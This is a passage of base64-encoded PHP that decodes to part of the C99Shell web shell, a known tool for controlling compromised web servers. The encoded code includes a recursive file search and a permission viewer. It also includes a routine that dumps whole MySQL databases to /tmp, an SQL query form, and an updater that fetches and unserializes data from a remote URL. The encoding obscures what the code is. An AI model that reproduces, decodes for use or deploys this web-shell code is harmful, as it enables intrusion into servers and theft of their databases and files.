Y2xvc2UoJGZwKTsNCiAgfQ0KIH0NCiByZXR1cm4gJHJlc3VsdDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpDQp7DQogZnVuY3Rpb24gdGFic29ydCgkYSwkYikge2dsb2JhbCAkdjsgcmV0dXJuIHN0cm5hdGNtcCgkYVskdl0sICRiWyR2XSk7fQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpDQp7DQogaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30gDQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICJiIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICJjIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICJwIjt9DQogZWxzZSB7JHR5cGUgPSAiPyI7fQ0KDQogJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAiciIgOiAiLSI7IA0KICRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICJ3IiA6ICItIjsgDQogJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAieCIgOiAiLSI7IA0KICRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8gInIiIDogIi0iOyANCiAkZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCkgPyAidyIgOiAiLSI7IA0KICRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApID8gIngiIDogIi0iOyANCiAkd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICJyIiA6ICItIjsgDQogJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpID8gInciIDogIi0iOyANCiAkd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICJ4IiA6ICItIjsgDQoNCiBpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpID8gInMiIDogIlMiO30NCiBpZiggJG1vZGUgJiAweDQwMCApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpID8gInMiIDogIlMiO30NCiBpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpID8gInQiIDogIlQiO30NCg0KIHJldHVybiAkdHlwZS4kb3duZXJbInJlYWQiXS4kb3duZXJbIndyaXRlIl0uJG93bmVyWyJleGVjdXRlIl0uDQogICAgICAgICRncm91cFsicmVhZCJdLiRncm91cFsid3JpdGUiXS4kZ3JvdXBbImV4ZWN1dGUiXS4NCiAgICAgICAgJHdvcmxkWyJyZWFkIl0uJHdvcmxkWyJ3cml0ZSJdLiR3b3JsZFsiZXhlY3V0ZSJdOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpDQp7DQpmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHQgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fSANCiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID0gImMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0ID0gInAiO30NCiBlbHNlIHskdCA9ICI/Ijt9DQogJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsNCiAkZ1siciJdID0gKCRtb2RlICYgMDAwNDApID4gMDsgJGdbInciXSA9ICgkbW9kZSAmIDAwMDIwKSA+IDA7ICRnWyJ4Il0gPSAoJG1vZGUgJiAwMDAxMCkgPiAwOw0KICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7DQogcmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXNfY29sb3IiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfcGVybXNfY29sb3IoJG8pDQp7DQogaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPVwicmVkXCI+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj1cIndoaXRlXCI+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2NoZHMiKSkge2Z1bmN0aW9uIGdjaGRzKCRhLCRiLCRjLCRkPSIiKSB7aWYgKCRhID09ICRiKSB7cmV0dXJuICRjO30gZWxzZSB7cmV0dXJuICRkO319fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OXNoX2dldHVwZGF0ZSIpKQ0Kew0KZnVuY3Rpb24gYzk5c2hfZ2V0dXBkYXRlKCkNCnsNCiBnbG9iYWwgJHVwZGF0ZW5vdzsNCiAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYzk5c2hfdXBkYXRlZnVybC4iP3ZlcnNpb249Ii4kc2h2ZXIuIiYiKTsNCiBpZiAoISRkYXRhKSB7ZWNobyAiQ2FuJ3QgZmV0Y2ggdXBkYXRlLWluZm9ybWF0aW9uISI7fQ0KIGVsc2UNCiB7DQogICRkYXRhID0gdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkZGF0YSkpOw0KICBpZiAoIWlzX2FycmF5KCRkYXRhKSkge2VjaG8gIkNvcnJ1cHRlZCB1cGRhdGUtaW5mb3JtYXRpb24hIjt9DQogIGVsc2VpZiAoJHNodmVyIDwgJGRhdGFbImN1ciJdKSB7JHVwZGF0ZW5vdyA9IHRydWU7fQ0KIH0NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpDQp7DQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpDQp7DQogZ2xvYmFsICRzaHZlcjsNCiAkc29jayA9ICRzZXRbInNvY2siXTsNCiAkZGIgPSAkc2V0WyJkYiJdOw0KICRwcmludCA9ICRzZXRbInByaW50Il07DQogJG5sMmJyID0gJHNldFsibmwyYnIiXTsNCiAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOw0KICR0YWJzID0gJHNldFsidGFicyJdOw0KICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogJHJldCA9IGFycmF5KCk7DQogJHJldFsiZXJyIl0gPSBhcnJheSgpOw0KIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9DQogaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30NCiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gdHJ1ZTt9DQogaWYgKGVtcHR5KCRmaWxlKSkNCiB7DQogIGdsb2JhbCAkd2luOw0KICBpZiAoJHdpbikgeyRmaWxlID0gIkM6XFx0bXBcXGR1bXBfIi4kU0VSVkVSX05BTUUuIl8iLiRkYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7fQ0KICBlbHNlIHskZmlsZSA9ICIvdG1wL2R1bXBfIi4kU0VSVkVSX05BTUUuIl8iLiRkYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7fQ0KIH0NCiBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9DQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSB0cnVlO30NCiBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKQ0KIHsNCiAgLy8gcmV0cml2ZSB0YWJsZXMtbGlzdA0KICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIEZST00gIi4kZGIsICRzb2NrKTsNCiAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkge3doaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKSB7JHRhYnNbXSA9ICRyb3dbMF07fX0NCiB9DQogJFNFUlZFUl9BRERSID0gZ2V0ZW52KCJTRVJWRVJfQUREUiIpOw0KICRTRVJWRVJfTkFNRSA9IGdldGVudigiU0VSVkVSX05BTUUiKTsNCiAkb3V0ID0gIiMgRHVtcGVkIGJ5IEM5OVNoZWxsLlNRTCB2LiAiLiRzaHZlci4iDQojIEhvbWUgcGFnZTogaHR0cDovL2NjdGVhbS5ydQ0KIw0KIyBIb3N0IHNldHRpbmdzOg0KIyBNeVNRTCB2ZXJzaW9uOiAoIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iKSBydW5uaW5nIG9uICIuJFNFUlZFUl9BRERSLiIgKCIuJFNFUlZFUl9OQU1FLiIpIi4iDQojIERhdGU6ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iDQojICIuZ2V0aG9zdGJ5bmFtZSgkU0VSVkVSX0FERFIpLiIgKCIuJFNFUlZFUl9BRERSLiIpIi4iIGR1bXAgZGIgXCIiLiRkYi4iXCINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiI7DQogJGMgPSBjb3VudCgkb25seXRhYnMpOw0KIGZvcmVhY2goJHRhYnMgYXMgJHRhYikNCiB7DQogIGlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkNCiAgew0KICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30NCiAgIC8vIHJlY2lldmUgcXVlcnkgZm9yIGNyZWF0ZSB0YWJsZSBzdHJ1Y3R1cmUNCiAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsNCiAgICAvLyByZWNpZXZlIHRhYmxlIHZhcmlhYmxlcw0KICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7DQogICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkNCiAgICB7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpDQogICAgIHsNCiAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsNCiAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30gDQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOyANCiAgICAgICRzcWwgPSAiSU5TRVJUIElOVE8gYCR0YWJgKGAiLiRrZXlzLiJgKSBWQUxVRVMgKCciLiR2YWx1ZXMuIicpO1xuIjsgDQogICAgICAkb3V0IC49ICRzcWw7DQogICAgIH0gDQogICAgfQ0KICAgfQ0KICB9DQogfQ0KICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiBpZiAoJGZpbGUpDQogew0KICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsgDQogIGlmICghJGZwKSB7JHJldFsiZXJyIl1bXSA9IDI7fQ0KICBlbHNlDQogIHsNCiAgIGZ3cml0ZSAoJGZwLCAkb3V0KTsNCiAgIGZjbG9zZSAoJGZwKTsNCiAgfQ0KIH0NCiBpZiAoJHByaW50KSB7aWYgKCRubDJicikge2VjaG8gbmwyYnIoJG91dCk7fSBlbHNlIHtlY2hvICRvdXQ7fX0NCiByZXR1cm4gJG91dDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpDQp7DQpmdW5jdGlvbiBteXNxbF9idWlsZHdoZXJlKCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5KCkpDQp7DQogaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9DQogJHJlc3VsdCA9ICIiOw0KIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikNCiB7DQogICR2YWx1ZSA9ICIiOw0KICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQ0KICAkdmFsdWUgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gIikiO30NCiAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOw0KIH0NCiAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsMCxzdHJsZW4oJHJlc3VsdCktc3RybGVuKCRzZXApKTsNCiByZXR1cm4gJHJlc3VsdDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2ZldGNoX2FsbCgkcXVlcnksJHNvY2spDQp7DQogaWYgKCRzb2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7fQ0KIGVsc2UgeyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpO30NCiAkYXJyYXkgPSBhcnJheSgpOw0KIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fQ0KIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KIHJldHVybiAkYXJyYXk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfc21hcnRlcnJvcigkdHlwZSwkc29jaykNCnsNCiBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJvcigkc29jayk7fQ0KIGVsc2UgeyRlcnJvciA9IG15c3FsX2Vycm9yKCk7fQ0KICRlcnJvciA9IGh0bWxzcGVjaWFsY2hhcnMoJGVycm9yKTsNCiByZXR1cm4gJGVycm9yOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X2Zvcm0iKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKQ0Kew0KIGdsb2JhbCAkc3VibWl0LCRzcWxfYWN0LCRzcWxfcXVlcnksJHNxbF9xdWVyeV9yZXN1bHQsJHNxbF9jb25maXJtLCRzcWxfcXVlcnlfZXJyb3IsJHRibF9zdHJ1Y3Q7DQogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKQ0KIHsNCiAgZWNobyAiPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQ+PGZvcm0gYWN0aW9uPVwiIi4kc3FsX3N1cmwuIlwiIG5hbWU9XCJjOTlzaF9zcWxxdWVyeVwiIG1ldGhvZD1cIlBPU1RcIj48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCJzcWxfcXVlcnlcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOw0KICBpZiAoJHRibF9zdHJ1Y3QpDQogIHsNCiAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZHM6PC9iPjxicj4iOw0KICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIrsgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuYzk5c2hfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQ0KICAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiAgfQ0KIH0NCiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9xdWVyeSA9ICRzcWxfbGFzdF9xdWVyeTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfY3JlYXRlX2RiIikpDQp7DQpmdW5jdGlvbiBteXNxbF9jcmVhdGVfZGIoJGRiLCRzb2NrPSIiKQ0Kew0KICRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiLmFkZHNsYXNoZXMoJGRiKS4iYDsiOw0KIGlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTt9DQogZWxzZSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwpO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9wYXJzZSIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KQ0Kew0KICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsNCiAkYXJyID0gZXhwbG9kZSAoIiAiLCRxdWVyeSk7DQogLyphcnJheSBhcnJheSgpDQogew0KICAiTUVUSE9EIj0+YXJyYXkob3V0cHV0X3R5cGUpLA0KICAiTUVUSE9EMSIuLi4NCiAgLi4uDQogfQ0KIGlmIG91dHB1dF90eXBlID09IDAsIG5vIG91dHB1dCwNCiBpZiBvdXRwdXRfdHlwZSA9PSAxLCBubyBvdXRwdXQgaWYgbm8gZXJyb3INCiBpZiBvdXRwdXRfdHlwZSA9PSAyLCBvdXRwdXQgd2l0aG91dCBjb250cm9sLWJ1dHRvbnMNCiBpZiBvdXRwdXRfdHlwZSA9PSAzLCBvdXRwdXQgd2l0aCBjb250cm9sLWJ1dHRvbnMNCiAqLw0KICR0eXBlcyA9IGFycmF5KA0KICAiU0VMRUNUIj0+YXJyYXkoMywxKSwNCiAgIlNIT1ciPT5hcnJheSgyLDEpLA0KICAiREVMRVRFIj0+YXJyYXkoMSksDQogICJEUk9QIj0+YXJyYXkoMSkNCiApOw0KICRyZXN1bHQgPSBhcnJheSgpOw0KICRvcCA9IHN0cnRvdXBwZXIoJGFyclswXSk7DQogaWYgKGlzX2FycmF5KCR0eXBlc1skb3BdKSkNCiB7DQogICRyZXN1bHRbInByb3BlcnRpb25zIl0gPSAkdHlwZXNbJG9wXTsNCiAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7DQogIGlmICgkdHlwZXNbJG9wXSA9PSAyKQ0KICB7DQogICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChzdHJ0b3VwcGVyKCR2KSA9PSAiTElNSVQiKQ0KICAgIHsNCiAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07DQogICAgICRyZXN1bHRbImxpbWl0Il0gPSBleHBsb2RlKCIsIiwkcmVzdWx0WyJsaW1pdCJdKTsNCiAgICAgaWYgKGNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkcmVzdWx0WyJsaW1pdCJdWzBdKTt9DQogICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOw0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBlbHNlIHtyZXR1cm4gZmFsc2U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OWZzZWFyY2giKSkNCnsNCmZ1bmN0aW9uIGM5OWZzZWFyY2goJGQpDQp7DQogZ2xvYmFsICRmb3VuZDsNCiBnbG9iYWwgJGZvdW5kX2Q7DQogZ2xvYmFsICRmb3VuZF9mOw0KIGdsb2JhbCAkc2VhcmNoX2lfZjsNCiBnbG9iYWwgJHNlYXJjaF9pX2Q7DQogZ2xvYmFsICRhOw0KIGlmIChzdWJzdHIoJGQsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogew0KICBpZigkZiAhPSAiLiIgJiYgJGYgIT0gIi4uIikNCiAgew0KICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb3MoJGYsJGFbIm5hbWUiXSkgIT09IGZhbHNlKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpOw0KICAgaWYgKGlzX2RpcigkZC4kZikpDQogICB7DQogICAgJHNlYXJjaF9pX2QrKzsNCiAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2M5OWZzZWFyY2goJGQuJGYpO30NCiAgIH0NCiAgIGVsc2UNCiAgIHsNCiAgICAkc2VhcmNoX2lfZisrOw0KICAgIGlmICgkYm9vbCkNCiAgICB7DQogICAgIGlmICghZW1wdHkoJGFbInRleHQiXSkpDQogICAgIHsNCiAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQ0KICAgICAgaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fQ0KICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKSB7JGJvb2wgPSBlcmVnKCRhWyJ0ZXh0Il0sJHIpO30NCiAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30NCiAgICAgIGlmICgkYVsidGV4dF9ub3QiXSkgeyRib29sID0gISRib29sO30NCiAgICAgIGlmICgkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICB9DQogICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQp9DQp9DQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc19kaXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQ0KLy9TZW5kaW5nIGhlYWRlcnMNCmhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCmhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIGZhbHNlKTsNCmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KaWYgKGVtcHR5KCR0bXBkaXIpKQ0Kew0KIGlmICghJHdpbikgeyR0bXBkaXIgPSAiL3RtcC8iO30NCiBlbHNlIHskdG1wZGlyID0gZ2V0ZW52KCJTeXN0ZW1Sb290Iik7fQ0KfQ0KZWxzZSB7JHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpO30NCiR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7DQppZiAoc3Vic3RyKCR0bXBkaXIsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQppZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0